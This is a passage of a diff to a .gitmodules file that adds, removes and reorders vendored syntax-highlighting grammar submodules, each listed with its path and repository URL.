+[submodule "vendor/grammars/language-shellscript"]
+	path = vendor/grammars/language-shellscript
+	url = https://github.com/atom/language-shellscript
+[submodule "vendor/grammars/language-subtitles"]
+	path = vendor/grammars/language-subtitles
+	url = https://github.com/Alhadis/language-subtitles.git
+[submodule "vendor/grammars/language-supercollider"]
+	path = vendor/grammars/language-supercollider
+	url = https://github.com/supercollider/language-supercollider
+[submodule "vendor/grammars/language-texinfo"]
+	path = vendor/grammars/language-texinfo
+	url = https://github.com/Alhadis/language-texinfo
+[submodule "vendor/grammars/language-ti-basic"]
+	path = vendor/grammars/language-ti-basic
+	url = https://github.com/TIny-Hacker/language-ti-basic.git
+[submodule "vendor/grammars/language-toc-wow"]
+	path = vendor/grammars/language-toc-wow
+	url = https://github.com/nebularg/language-toc-wow
+[submodule "vendor/grammars/language-tsql"]
+	path = vendor/grammars/language-tsql
+	url = https://github.com/beau-witter/language-tsql
+[submodule "vendor/grammars/language-turing"]
+	path = vendor/grammars/language-turing
+	url = https://github.com/Alhadis/language-turing
+[submodule "vendor/grammars/language-typelanguage"]
+	path = vendor/grammars/language-typelanguage
+	url = https://github.com/goodmind/language-typelanguage
+[submodule "vendor/grammars/language-viml"]
+	path = vendor/grammars/language-viml
+	url = https://github.com/Alhadis/language-viml
+[submodule "vendor/grammars/language-wavefront"]
+	path = vendor/grammars/language-wavefront
+	url = https://github.com/Alhadis/language-wavefront
+[submodule "vendor/grammars/language-webassembly"]
+	path = vendor/grammars/language-webassembly
+	url = https://github.com/Alhadis/language-webassembly
+[submodule "vendor/grammars/language-xbase"]
+	path = vendor/grammars/language-xbase
+	url = https://github.com/hernad/atom-language-harbour
+[submodule "vendor/grammars/language-xcompose"]
+	path = vendor/grammars/language-xcompose
+	url = https://github.com/samcv/language-xcompose
+[submodule "vendor/grammars/language-yaml"]
+	path = vendor/grammars/language-yaml
+	url = https://github.com/atom/language-yaml
+[submodule "vendor/grammars/language-yang"]
+	path = vendor/grammars/language-yang
+	url = https://github.com/DzonyKalafut/language-yang.git
 [submodule "vendor/grammars/latex.tmbundle"]
 	path = vendor/grammars/latex.tmbundle
 	url = https://github.com/textmate/latex.tmbundle
-[submodule "vendor/grammars/lilypond.tmbundle"]
-	path = vendor/grammars/lilypond.tmbundle
-	url = https://github.com/textmate/lilypond.tmbundle
+[submodule "vendor/grammars/linter-lilypond"]
+	path = vendor/grammars/linter-lilypond
+	url = https://github.com/nwhetsell/linter-lilypond
+[submodule "vendor/grammars/liquid-tm-grammar"]
+	path = vendor/grammars/liquid-tm-grammar
+	url = https://github.com/Shopify/liquid-tm-grammar.git
 [submodule "vendor/grammars/lisp.tmbundle"]
 	path = vendor/grammars/lisp.tmbundle
 	url = https://github.com/textmate/lisp.tmbundle
+[submodule "vendor/grammars/llvm.tmbundle"]
+	path = vendor/grammars/llvm.tmbundle
+	url = https://github.com/whitequark/llvm.tmbundle
+[submodule "vendor/grammars/logos"]
+	path = vendor/grammars/logos
+	url = https://github.com/Cykey/Sublime-Logos
 [submodule "vendor/grammars/logtalk.tmbundle"]
 	path = vendor/grammars/logtalk.tmbundle
 	url = https://github.com/textmate/logtalk.tmbundle
 [submodule "vendor/grammars/lua.tmbundle"]
 	path = vendor/grammars/lua.tmbundle
-	url = https://github.com/textmate/lua.tmbundle
+	url = https://github.com/LuaLS/lua.tmbundle.git
+[submodule "vendor/grammars/m3"]
+	path = vendor/grammars/m3
+	url = https://github.com/newgrammars/m3
 [submodule "vendor/grammars/make.tmbundle"]
 	path = vendor/grammars/make.tmbundle
 	url = https://github.com/textmate/make.tmbundle
-[submodule "vendor/grammars/matlab.tmbundle"]
-	path = vendor/grammars/matlab.tmbundle
-	url = https://github.com/textmate/matlab.tmbundle
+[submodule "vendor/grammars/mako-tmbundle"]
+	path = vendor/grammars/mako-tmbundle
+	url = https://github.com/marconi/mako-tmbundle
+[submodule "vendor/grammars/markdown-tm-language"]
+	path = vendor/grammars/markdown-tm-language
+	url = https://github.com/wooorm/markdown-tm-language.git
+[submodule "vendor/grammars/marko-tmbundle"]
+	path = vendor/grammars/marko-tmbundle
+	url = https://github.com/marko-js/marko-tmbundle
+[submodule "vendor/grammars/mathematica-tmbundle"]
+	path = vendor/grammars/mathematica-tmbundle
+	url = https://github.com/shadanan/mathematica-tmbundle
 [submodule "vendor/grammars/maven.tmbundle"]
 	path = vendor/grammars/maven.tmbundle
 	url = https://github.com/textmate/maven.tmbundle
+[submodule "vendor/grammars/mediawiki.tmbundle"]
+	path = vendor/grammars/mediawiki.tmbundle
+	url = https://github.com/textmate/mediawiki.tmbundle
+[submodule "vendor/grammars/mercury-tmlanguage"]
+	path = vendor/grammars/mercury-tmlanguage
+	url = https://github.com/sebgod/mercury-tmlanguage
+[submodule "vendor/grammars/mint-vscode"]
+	path = vendor/grammars/mint-vscode
+	url = https://github.com/mint-lang/mint-vscode
+[submodule "vendor/grammars/mlir-grammar"]
+	path = vendor/grammars/mlir-grammar
+	url = https://github.com/jpienaar/mlir-grammar
+[submodule "vendor/grammars/mojo-syntax"]
+	path = vendor/grammars/mojo-syntax
+	url = https://github.com/modularml/mojo-syntax.git
+[submodule "vendor/grammars/monkey"]
+	path = vendor/grammars/monkey
+	url = https://github.com/gingerbeardman/monkey.tmbundle
+[submodule "vendor/grammars/moonscript-tmbundle"]
+	path = vendor/grammars/moonscript-tmbundle
+	url = https://github.com/leafo/moonscript-tmbundle
 [submodule "vendor/grammars/nemerle.tmbundle"]
 	path = vendor/grammars/nemerle.tmbundle
 	url = https://github.com/textmate/nemerle.tmbundle
-[submodule "vendor/grammars/ninja.tmbundle"]
-	path = vendor/grammars/ninja.tmbundle
-	url = https://github.com/textmate/ninja.tmbundle
+[submodule "vendor/grammars/nesC"]
+	path = vendor/grammars/nesC
+	url = https://github.com/cdwilson/nesC.tmbundle
+[submodule "vendor/grammars/nix-linguist"]
+	path = vendor/grammars/nix-linguist
+	url = https://github.com/sambacha/nix-linguist.git
+[submodule "vendor/grammars/nu-grammar"]
+	path = vendor/grammars/nu-grammar
+	url = https://github.com/hustcer/nu-grammar.git
+[submodule "vendor/grammars/nu.tmbundle"]
+	path = vendor/grammars/nu.tmbundle
+	url = https://github.com/jsallis/nu.tmbundle
 [submodule "vendor/grammars/objective-c.tmbundle"]
 	path = vendor/grammars/objective-c.tmbundle
 	url = https://github.com/textmate/objective-c.tmbundle
 [submodule "vendor/grammars/ocaml.tmbundle"]
 	path = vendor/grammars/ocaml.tmbundle
 	url = https://github.com/textmate/ocaml.tmbundle
+[submodule "vendor/grammars/ooc.tmbundle"]
+	path = vendor/grammars/ooc.tmbundle
+	url = https://github.com/nilium/ooc.tmbundle
+[submodule "vendor/grammars/opa.tmbundle"]
+	path = vendor/grammars/opa.tmbundle
+	url = https://github.com/mads379/opa.tmbundle
+[submodule "vendor/grammars/openscad.tmbundle"]
+	path = vendor/grammars/openscad.tmbundle
+	url = https://github.com/tbuser/openscad.tmbundle
+[submodule "vendor/grammars/oz-tmbundle"]
+	path = vendor/grammars/oz-tmbundle
+	url = https://github.com/eregon/oz-tmbundle
+[submodule "vendor/grammars/pact-atom"]
+	path = vendor/grammars/pact-atom
+	url = https://github.com/kadena-io/pact-atom.git
+[submodule "vendor/grammars/parrot"]
+	path = vendor/grammars/parrot
+	url = https://github.com/textmate/parrot.tmbundle
 [submodule "vendor/grammars/pascal.tmbundle"]
 	path = vendor/grammars/pascal.tmbundle
 	url = https://github.com/textmate/pascal.tmbundle
+[submodule "vendor/grammars/pawn-sublime-language"]
+	path = vendor/grammars/pawn-sublime-language
+	url = https://github.com/Southclaw/pawn-sublime-language.git
+[submodule "vendor/grammars/perl.tmbundle"]
+	path = vendor/grammars/perl.tmbundle
+	url = https://github.com/textmate/perl.tmbundle
 [submodule "vendor/grammars/php-smarty.tmbundle"]
 	path = vendor/grammars/php-smarty.tmbundle
 	url = https://github.com/textmate/php-smarty.tmbundle
 [submodule "vendor/grammars/php.tmbundle"]
 	path = vendor/grammars/php.tmbundle
-	url = https://github.com/textmate/php.tmbundle
-[submodule "vendor/grammars/postscript.tmbundle"]
-	path = vendor/grammars/postscript.tmbundle
-	url = https://github.com/textmate/postscript.tmbundle
+	url = https://github.com/ondrejmirtes/php.tmbundle.git
+[submodule "vendor/grammars/pig-latin"]
+	path = vendor/grammars/pig-latin
+	url = https://github.com/goblindegook/sublime-text-pig-latin
+[submodule "vendor/grammars/pike-textmate"]
+	path = vendor/grammars/pike-textmate
+	url = https://github.com/hww3/pike-textmate
+[submodule "vendor/grammars/pkl.tmbundle"]
+	path = vendor/grammars/pkl.tmbundle
+	url = https://github.com/apple/pkl.tmbundle.git
+[submodule "vendor/grammars/polar-grammar"]
+	path = vendor/grammars/polar-grammar
+	url = https://github.com/osohq/polar-grammar.git
+[submodule "vendor/grammars/portugol-grammar"]
+	path = vendor/grammars/portugol-grammar
+	url = https://github.com/luisgbr1el/portugol-grammar.git
+[submodule "vendor/grammars/powershell"]
+	path = vendor/grammars/powershell
+	url = https://github.com/PowerShell/EditorSyntax
+[submodule "vendor/grammars/praatvscode"]
+	path = vendor/grammars/praatvscode
+	url = https://github.com/orhunulusahin/praatvscode.git
 [submodule "vendor/grammars/processing.tmbundle"]
 	path = vendor/grammars/processing.tmbundle
 	url = https://github.com/textmate/processing.tmbundle
 [submodule "vendor/grammars/python-django.tmbundle"]
 	path = vendor/grammars/python-django.tmbundle
 	url = https://github.com/textmate/python-django.tmbundle
+[submodule "vendor/grammars/qsharp"]
+	path = vendor/grammars/qsharp
+	url = https://github.com/microsoft/qsharp.git
+[submodule "vendor/grammars/quake"]
+	path = vendor/grammars/quake
+	url = https://github.com/newgrammars/quake
 [submodule "vendor/grammars/r.tmbundle"]
 	path = vendor/grammars/r.tmbundle
 	url = https://github.com/textmate/r.tmbundle
-[submodule "vendor/grammars/ruby-haml.tmbundle"]
-	path = vendor/grammars/ruby-haml.tmbundle
-	url = https://github.com/textmate/ruby-haml.tmbundle
+[submodule "vendor/grammars/rascal-syntax-highlighting"]
+	path = vendor/grammars/rascal-syntax-highlighting
+	url = https://github.com/usethesource/rascal-syntax-highlighting
+[submodule "vendor/grammars/razor-plus"]
+	path = vendor/grammars/razor-plus
+	url = https://github.com/github-linguist/razor-plus
+[submodule "vendor/grammars/rescript-vscode"]
+	path = vendor/grammars/rescript-vscode
+	url = https://github.com/rescript-lang/rescript-vscode
+[submodule "vendor/grammars/rez.tmbundle"]
+	path = vendor/grammars/rez.tmbundle
+	url = https://github.com/textmate/rez.tmbundle.git
+[submodule "vendor/grammars/riot-syntax-highlight"]
+	path = vendor/grammars/riot-syntax-highlight
+	url = https://github.com/riot/syntax-highlight
+[submodule "vendor/grammars/roc-vscode-unofficial"]
+	path = vendor/grammars/roc-vscode-unofficial
+	url = https://github.com/ivan-demchenko/roc-vscode-unofficial.git
+[submodule "vendor/grammars/ruby-slim.tmbundle"]
+	path = vendor/grammars/ruby-slim.tmbundle
+	url = https://github.com/slim-template/ruby-slim.tmbundle
+[submodule "vendor/grammars/rust-syntax"]
+	path = vendor/grammars/rust-syntax
+	url = https://github.com/dustypomerleau/rust-syntax.git
+[submodule "vendor/grammars/sas.tmbundle"]
+	path = vendor/grammars/sas.tmbundle
+	url = https://github.com/rpardee/sas.tmbundle
 [submodule "vendor/grammars/scheme.tmbundle"]
 	path = vendor/grammars/scheme.tmbundle
-	url = https://github.com/textmate/scheme.tmbundle
+	url = https://github.com/sicp-lang/scheme.tmbundle
 [submodule "vendor/grammars/scilab.tmbundle"]
 	path = vendor/grammars/scilab.tmbundle
 	url = https://github.com/textmate/scilab.tmbundle
+[submodule "vendor/grammars/secondlife-lsl"]
+	path = vendor/grammars/secondlife-lsl
+	url = https://github.com/textmate/secondlife-lsl.tmbundle
+[submodule "vendor/grammars/selinux-policy-languages"]
+	path = vendor/grammars/selinux-policy-languages
+	url = https://github.com/google/selinux-policy-languages
+[submodule "vendor/grammars/shaders-tmLanguage"]
+	path = vendor/grammars/shaders-tmLanguage
+	url = https://github.com/tgjones/shaders-tmLanguage
+[submodule "vendor/grammars/slint-tmLanguage"]
+	path = vendor/grammars/slint-tmLanguage
+	url = https://github.com/slint-ui/slint-tmLanguage.git
+[submodule "vendor/grammars/smali-sublime"]
+	path = vendor/grammars/smali-sublime
+	url = https://github.com/ShaneWilton/sublime-smali
+[submodule "vendor/grammars/smalltalk-tmbundle"]
+	path = vendor/grammars/smalltalk-tmbundle
+	url = https://github.com/tomas-stefano/smalltalk-tmbundle
+[submodule "vendor/grammars/smithy-vscode"]
+	path = vendor/grammars/smithy-vscode
+	url = https://github.com/awslabs/smithy-vscode.git
+[submodule "vendor/grammars/sourcepawn-vscode"]
+	path = vendor/grammars/sourcepawn-vscode
+	url = https://github.com/Sarrus1/sourcepawn-vscode.git
+[submodule "vendor/grammars/sprocket-vscode"]
+	path = vendor/grammars/sprocket-vscode
+	url = https://github.com/stjude-rust-labs/sprocket-vscode.git
 [submodule "vendor/grammars/sql.tmbundle"]
 	path = vendor/grammars/sql.tmbundle
 	url = https://github.com/textmate/sql.tmbundle
+[submodule "vendor/grammars/squirrel-language"]
+	path = vendor/grammars/squirrel-language
+	url = https://github.com/mathewmariani/squirrel-language
+[submodule "vendor/grammars/st2-zonefile"]
+	path = vendor/grammars/st2-zonefile
+	url = https://github.com/sixty4k/st2-zonefile
 [submodule "vendor/grammars/standard-ml.tmbundle"]
 	path = vendor/grammars/standard-ml.tmbundle
 	url = https://github.com/textmate/standard-ml.tmbundle
-[submodule "vendor/grammars/swift.tmbundle"]
-	path = vendor/grammars/swift.tmbundle
-	url = https://github.com/textmate/swift.tmbundle
-[submodule "vendor/grammars/tcl.tmbundle"]
-	path = vendor/grammars/tcl.tmbundle
-	url = https://github.com/textmate/tcl.tmbundle
-[submodule "vendor/grammars/thrift.tmbundle"]
-	path = vendor/grammars/thrift.tmbundle
-	url = https://github.com/textmate/thrift.tmbundle
-[submodule "vendor/grammars/toml.tmbundle"]
-	path = vendor/grammars/toml.tmbundle
-	url = https://github.com/textmate/toml.tmbundle
-[submodule "vendor/grammars/verilog.tmbundle"]
-	path = vendor/grammars/verilog.tmbundle
-	url = https://github.com/textmate/verilog.tmbundle
-[submodule "vendor/grammars/xml.tmbundle"]
-	path = vendor/grammars/xml.tmbundle
-	url = https://github.com/textmate/xml.tmbundle
-[submodule "vendor/grammars/smalltalk-tmbundle"]
-	path = vendor/grammars/smalltalk-tmbundle
-	url = https://github.com/tomas-stefano/smalltalk-tmbundle
-[submodule "vendor/grammars/ioke-outdated"]
-	path = vendor/grammars/ioke-outdated
-	url = https://github.com/vic/ioke-outdated
-[submodule "vendor/grammars/kotlin-sublime-package"]
-	path = vendor/grammars/kotlin-sublime-package
-	url = https://github.com/vkostyukov/kotlin-sublime-package
-[submodule "vendor/grammars/c.tmbundle"]
-	path = vendor/grammars/c.tmbundle
-	url = https://github.com/textmate/c.tmbundle
-[submodule "vendor/grammars/zephir-sublime"]
-	path = vendor/grammars/zephir-sublime
-	url = https://github.com/vmg/zephir-sublime
-[submodule "vendor/grammars/llvm.tmbundle"]
-	path = vendor/grammars/llvm.tmbundle
-	url = https://github.com/whitequark/llvm.tmbundle
-[submodule "vendor/grammars/oz-tmbundle"]
-	path = vendor/grammars/oz-tmbundle
-	url = https://github.com/eregon/oz-tmbundle
-[submodule "vendor/grammars/ebundles"]
-	path = vendor/grammars/ebundles
-	url = https://github.com/ericzou/ebundles
-[submodule "vendor/grammars/sublime-mask"]
-	path = vendor/grammars/sublime-mask
-	url = https://github.com/tenbits/sublime-mask
-[submodule "vendor/grammars/sublime_cobol"]
-	path = vendor/grammars/sublime_cobol
-	url = https://bitbucket.org/bitlang/sublime_cobol
-[submodule "vendor/grammars/ruby.tmbundle"]
-	path = vendor/grammars/ruby.tmbundle
-	url = https://github.com/aroben/ruby.tmbundle
-	branch = pl
-[submodule "vendor/grammars/IDL-Syntax"]
-	path = vendor/grammars/IDL-Syntax
-	url = https://github.com/andik/IDL-Syntax
-[submodule "vendor/grammars/sas.tmbundle"]
-	path = vendor/grammars/sas.tmbundle
-	url = https://github.com/rpardee/sas.tmbundle
-[submodule "vendor/grammars/atom-salt"]
-	path = vendor/grammars/atom-salt
-	url = https://github.com/saltstack/atom-salt
-[submodule "vendor/grammars/Scalate.tmbundle"]
-	path = vendor/grammars/Scalate.tmbundle
-	url = https://github.com/scalate/Scalate.tmbundle
+[submodule "vendor/grammars/sublime-MuPAD"]
+	path = vendor/grammars/sublime-MuPAD
+	url = https://github.com/ccreutzig/sublime-MuPAD
+[submodule "vendor/grammars/sublime-angelscript"]
+	path = vendor/grammars/sublime-angelscript
+	url = https://github.com/wronex/sublime-angelscript
+[submodule "vendor/grammars/sublime-aspectj"]
+	path = vendor/grammars/sublime-aspectj
+	url = https://github.com/pchaigno/sublime-aspectj
+[submodule "vendor/grammars/sublime-autoit"]
+	path = vendor/grammars/sublime-autoit
+	url = https://github.com/AutoIt/SublimeAutoItScript
+[submodule "vendor/grammars/sublime-befunge"]
+	path = vendor/grammars/sublime-befunge
+	url = https://github.com/johanasplund/sublime-befunge
+[submodule "vendor/grammars/sublime-boo"]
+	path = vendor/grammars/sublime-boo
+	url = https://github.com/drslump/sublime-boo
 [submodule "vendor/grammars/sublime-bsv"]
 	path = vendor/grammars/sublime-bsv
 	url = https://github.com/thotypous/sublime-bsv
-[submodule "vendor/grammars/Sublime-HTTP"]
-	path = vendor/grammars/Sublime-HTTP
-	url = https://github.com/httpspec/sublime-highlighting
-[submodule "vendor/grammars/sass-textmate-bundle"]
-	path = vendor/grammars/sass-textmate-bundle
-	url = https://github.com/nathos/sass-textmate-bundle
-[submodule "vendor/grammars/carto-atom"]
-	path = vendor/grammars/carto-atom
-	url = https://github.com/yohanboniface/carto-atom
-[submodule "vendor/grammars/Sublime-Nit"]
-	path = vendor/grammars/Sublime-Nit
-	url = https://github.com/R4PaSs/Sublime-Nit
-[submodule "vendor/grammars/language-hy"]
-	path = vendor/grammars/language-hy
-	url = https://github.com/rwtolbert/language-hy
-[submodule "vendor/grammars/Racket"]
-	path = vendor/grammars/Racket
-	url = https://github.com/soegaard/racket-highlight-for-github
-[submodule "vendor/grammars/turtle.tmbundle"]
-	path = vendor/grammars/turtle.tmbundle
-	url = https://github.com/peta/turtle.tmbundle
-[submodule "vendor/grammars/liquid.tmbundle"]
-	path = vendor/grammars/liquid.tmbundle
-	url = https://github.com/bastilian/validcode-textmate-bundles
-[submodule "vendor/grammars/Modelica"]
-	path = vendor/grammars/Modelica
-	url = https://github.com/BorisChumichev/modelicaSublimeTextPackage
+[submodule "vendor/grammars/sublime-cirru"]
+	path = vendor/grammars/sublime-cirru
+	url = https://github.com/Cirru/sublime-cirru
+[submodule "vendor/grammars/sublime-clips"]
+	path = vendor/grammars/sublime-clips
+	url = https://github.com/psicomante/CLIPS-sublime
+[submodule "vendor/grammars/sublime-cypher"]
+	path = vendor/grammars/sublime-cypher
+	url = https://github.com/fredbenenson/sublime-cypher.git
+[submodule "vendor/grammars/sublime-fantom"]
+	path = vendor/grammars/sublime-fantom
+	url = https://github.com/rkoeninger/sublime-fantom
+[submodule "vendor/grammars/sublime-glsl"]
+	path = vendor/grammars/sublime-glsl
+	url = https://github.com/euler0/sublime-glsl
 [submodule "vendor/grammars/sublime-golo"]
 	path = vendor/grammars/sublime-golo
 	url = https://github.com/TypeUnsafe/sublime-golo
-[submodule "vendor/grammars/JSyntax"]
-	path = vendor/grammars/JSyntax
-	url = https://github.com/bcj/JSyntax
-[submodule "vendor/grammars/TXL"]
-	path = vendor/grammars/TXL
-	url = https://github.com/MikeHoffert/Sublime-Text-TXL-syntax
-[submodule "vendor/grammars/G-Code"]
-	path = vendor/grammars/G-Code
-	url = https://github.com/robotmaster/sublime-text-syntax-highlighting
-[submodule "vendor/grammars/sublime-text-ox"]
-	path = vendor/grammars/sublime-text-ox
-	url = https://github.com/andreashetland/sublime-text-ox
-[submodule "vendor/grammars/AutoHotkey"]
-	path = vendor/grammars/AutoHotkey
-	url = https://github.com/ahkscript/SublimeAutoHotkey
-[submodule "vendor/grammars/ec.tmbundle"]
-	path = vendor/grammars/ec.tmbundle
-	url = https://github.com/ecere/ec.tmbundle
-[submodule "vendor/grammars/gap-tmbundle"]
-	path = vendor/grammars/gap-tmbundle
-	url = https://github.com/dhowden/gap-tmbundle
-[submodule "vendor/grammars/SublimePapyrus"]
-	path = vendor/grammars/SublimePapyrus
-	url = https://github.com/Kapiainen/SublimePapyrus
-[submodule "vendor/grammars/sublime-spintools"]
-	path = vendor/grammars/sublime-spintools
-	url = https://github.com/bitbased/sublime-spintools
-[submodule "vendor/grammars/PogoScript.tmbundle"]
-	path = vendor/grammars/PogoScript.tmbundle
-	url = https://github.com/featurist/PogoScript.tmbundle
-[submodule "vendor/grammars/sublime-opal"]
-	path = vendor/grammars/sublime-opal
-	url = https://github.com/artifactz/sublime-opal
-[submodule "vendor/grammars/mediawiki.tmbundle"]
-	path = vendor/grammars/mediawiki.tmbundle
-	url = https://github.com/textmate/mediawiki.tmbundle
-[submodule "vendor/grammars/SublimeClarion"]
-	path = vendor/grammars/SublimeClarion
-	url = https://github.com/fushnisoft/SublimeClarion
-[submodule "vendor/grammars/BrightScript.tmbundle"]
-	path = vendor/grammars/BrightScript.tmbundle
-	url = https://github.com/cmink/BrightScript.tmbundle
-[submodule "vendor/grammars/Stylus"]
-	path = vendor/grammars/Stylus
-	url = https://github.com/billymoon/Stylus
-[submodule "vendor/grammars/asciidoc.tmbundle"]
-	path = vendor/grammars/asciidoc.tmbundle
-	url = https://github.com/zuckschwerdt/asciidoc.tmbundle
-[submodule "vendor/grammars/Lean.tmbundle"]
-	path = vendor/grammars/Lean.tmbundle
-	url = https://github.com/leanprover/Lean.tmbundle
-[submodule "vendor/grammars/ampl"]
-	path = vendor/grammars/ampl
-	url = https://github.com/ampl/sublime-ampl
-[submodule "vendor/grammars/sublime-varnish"]
-	path = vendor/grammars/sublime-varnish
-	url = https://github.com/brandonwamboldt/sublime-varnish
-[submodule "vendor/grammars/xc.tmbundle"]
-	path = vendor/grammars/xc.tmbundle
-	url = https://github.com/graymalkin/xc.tmbundle
-[submodule "vendor/grammars/perl.tmbundle"]
-	path = vendor/grammars/perl.tmbundle
-	url = https://github.com/textmate/perl.tmbundle
+[submodule "vendor/grammars/sublime-mask"]
+	path = vendor/grammars/sublime-mask
+	url = https://github.com/tenbits/sublime-mask
+[submodule "vendor/grammars/sublime-nearley"]
+	path = vendor/grammars/sublime-nearley
+	url = https://github.com/Hardmath123/sublime-nearley
 [submodule "vendor/grammars/sublime-netlinx"]
 	path = vendor/grammars/sublime-netlinx
 	url = https://github.com/amclain/sublime-netlinx
-[submodule "vendor/grammars/Sublime-Red"]
-	path = vendor/grammars/Sublime-Red
-	url = https://github.com/Oldes/Sublime-Red
-[submodule "vendor/grammars/jflex.tmbundle"]
-	path = vendor/grammars/jflex.tmbundle
-	url = https://github.com/jflex-de/jflex.tmbundle.git
-[submodule "vendor/grammars/Sublime-Modula-2"]
-	path = vendor/grammars/Sublime-Modula-2
-	url = https://github.com/harogaston/Sublime-Modula-2
-[submodule "vendor/grammars/ada.tmbundle"]
-	path = vendor/grammars/ada.tmbundle
-	url = https://github.com/textmate/ada.tmbundle
-[submodule "vendor/grammars/api-blueprint-sublime-plugin"]
-	path = vendor/grammars/api-blueprint-sublime-plugin
-	url = https://github.com/apiaryio/api-blueprint-sublime-plugin
-[submodule "vendor/grammars/Handlebars"]
-	path = vendor/grammars/Handlebars
-	url = https://github.com/daaain/Handlebars
-[submodule "vendor/grammars/smali-sublime"]
-	path = vendor/grammars/smali-sublime
-	url = https://github.com/ShaneWilton/sublime-smali
-[submodule "vendor/grammars/language-jsoniq"]
-	path = vendor/grammars/language-jsoniq
-	url = http://github.com/wcandillon/language-jsoniq
-[submodule "vendor/grammars/atom-fsharp"]
-	path = vendor/grammars/atom-fsharp
-	url = https://github.com/fsprojects/atom-fsharp
-[submodule "vendor/grammars/SMT.tmbundle"]
-	path = vendor/grammars/SMT.tmbundle
-	url = https://github.com/SRI-CSL/SMT.tmbundle.git
-[submodule "vendor/grammars/language-crystal"]
-	path = vendor/grammars/language-crystal
-	url = https://github.com/atom-crystal/language-crystal
-[submodule "vendor/grammars/language-xbase"]
-	path = vendor/grammars/language-xbase
-	url = https://github.com/hernad/atom-language-harbour
-[submodule "vendor/grammars/language-ncl"]
-	path = vendor/grammars/language-ncl
-	url = https://github.com/rpavlick/language-ncl.git
-[submodule "vendor/grammars/pawn-sublime-language"]
-	path = vendor/grammars/pawn-sublime-language
-	url = https://github.com/Southclaw/pawn-sublime-language.git
-[submodule "vendor/grammars/atom-language-purescript"]
-	path = vendor/grammars/atom-language-purescript
-	url = https://github.com/purescript-contrib/atom-language-purescript
-[submodule "vendor/grammars/vue-syntax-highlight"]
-	path = vendor/grammars/vue-syntax-highlight
-	url = https://github.com/vuejs/vue-syntax-highlight
-[submodule "vendor/grammars/st2-zonefile"]
-	path = vendor/grammars/st2-zonefile
-	url = https://github.com/sixty4k/st2-zonefile
-[submodule "vendor/grammars/sublimeprolog"]
-	path = vendor/grammars/sublimeprolog
-	url = https://github.com/alnkpa/sublimeprolog
-[submodule "vendor/grammars/sublime-aspectj"]
-	path = vendor/grammars/sublime-aspectj
-	url = https://github.com/pchaigno/sublime-aspectj
-[submodule "vendor/grammars/sublime-typescript"]
-	path = vendor/grammars/sublime-typescript
-	url = https://github.com/Microsoft/TypeScript-Sublime-Plugin
+[submodule "vendor/grammars/sublime-nginx"]
+	path = vendor/grammars/sublime-nginx
+	url = https://github.com/brandonwamboldt/sublime-nginx
+[submodule "vendor/grammars/sublime-odin"]
+	path = vendor/grammars/sublime-odin
+	url = https://github.com/odin-lang/sublime-odin
+[submodule "vendor/grammars/sublime-opal"]
+	path = vendor/grammars/sublime-opal
+	url = https://github.com/artifactz/sublime-opal
 [submodule "vendor/grammars/sublime-pony"]
 	path = vendor/grammars/sublime-pony
 	url = https://github.com/CausalityLtd/sublime-pony
-[submodule "vendor/grammars/X10"]
-	path = vendor/grammars/X10
-	url = https://github.com/x10-lang/x10-highlighting
-[submodule "vendor/grammars/language-babel"]
-	path = vendor/grammars/language-babel
-	url = https://github.com/gandm/language-babel
-[submodule "vendor/grammars/UrWeb-Language-Definition"]
-	path = vendor/grammars/UrWeb-Language-Definition
-	url = https://github.com/gwalborn/UrWeb-Language-Definition.git
-[submodule "vendor/grammars/Stata.tmbundle"]
-	path = vendor/grammars/Stata.tmbundle
-	url = https://github.com/pschumm/Stata.tmbundle
-[submodule "vendor/grammars/FreeMarker.tmbundle"]
-	path = vendor/grammars/FreeMarker.tmbundle
-	url = https://github.com/freemarker/FreeMarker.tmbundle
-[submodule "vendor/grammars/MagicPython"]
-	path = vendor/grammars/MagicPython
-	url = https://github.com/MagicStack/MagicPython
-[submodule "vendor/grammars/language-click"]
-	path = vendor/grammars/language-click
-	url = https://github.com/stenverbois/language-click.git
-[submodule "vendor/grammars/language-maxscript"]
-	path = vendor/grammars/language-maxscript
-	url = https://github.com/Alhadis/language-maxscript
-[submodule "vendor/grammars/language-renpy"]
-	path = vendor/grammars/language-renpy
-	url = https://github.com/williamd1k0/language-renpy.git
-[submodule "vendor/grammars/language-inform7"]
-	path = vendor/grammars/language-inform7
-	url = https://github.com/erkyrath/language-inform7
-[submodule "vendor/grammars/atom-language-stan"]
-	path = vendor/grammars/atom-language-stan
-	url = https://github.com/jrnold/atom-language-stan
-[submodule "vendor/grammars/language-yang"]
-	path = vendor/grammars/language-yang
-	url = https://github.com/DzonyKalafut/language-yang.git
-[submodule "vendor/grammars/perl6fe"]
-	path = vendor/grammars/perl6fe
-	url = https://github.com/MadcapJake/language-perl6fe.git
-[submodule "vendor/grammars/language-less"]
-	path = vendor/grammars/language-less
-	url = https://github.com/atom/language-less.git
-[submodule "vendor/grammars/language-povray"]
-	path = vendor/grammars/language-povray
-	url = https://github.com/c-lipka/language-povray
+[submodule "vendor/grammars/sublime-promela-spin"]
+	path = vendor/grammars/sublime-promela-spin
+	url = https://github.com/corbanmailloux/sublime-promela-spin.git
+[submodule "vendor/grammars/sublime-q"]
+	path = vendor/grammars/sublime-q
+	url = https://github.com/komsit37/sublime-q
+[submodule "vendor/grammars/sublime-rexx"]
+	path = vendor/grammars/sublime-rexx
+	url = https://github.com/mblocker/rexx-sublime
+[submodule "vendor/grammars/sublime-robot-plugin"]
+	path = vendor/grammars/sublime-robot-plugin
+	url = https://github.com/shellderp/sublime-robot-plugin
+[submodule "vendor/grammars/sublime-shen"]
+	path = vendor/grammars/sublime-shen
+	url = https://github.com/rkoeninger/sublime-shen
+[submodule "vendor/grammars/sublime-spintools"]
+	path = vendor/grammars/sublime-spintools
+	url = https://github.com/bitbased/sublime-spintools
+[submodule "vendor/grammars/sublime-tea"]
+	path = vendor/grammars/sublime-tea
+	url = https://github.com/pferruggiaro/sublime-tea
 [submodule "vendor/grammars/sublime-terra"]
 	path = vendor/grammars/sublime-terra
 	url = https://github.com/pyk/sublime-terra
-[submodule "vendor/grammars/SublimePuppet"]
-	path = vendor/grammars/SublimePuppet
-	url = https://github.com/russCloak/SublimePuppet
+[submodule "vendor/grammars/sublime-text-ox"]
+	path = vendor/grammars/sublime-text-ox
+	url = https://github.com/andreashetland/sublime-text-ox
+[submodule "vendor/grammars/sublime-varnish"]
+	path = vendor/grammars/sublime-varnish
+	url = https://github.com/brandonwamboldt/sublime-varnish
+[submodule "vendor/grammars/sublime-zig-language"]
+	path = vendor/grammars/sublime-zig-language
+	url = https://github.com/ziglang/sublime-zig-language
 [submodule "vendor/grammars/sublimeassembly"]
 	path = vendor/grammars/sublimeassembly
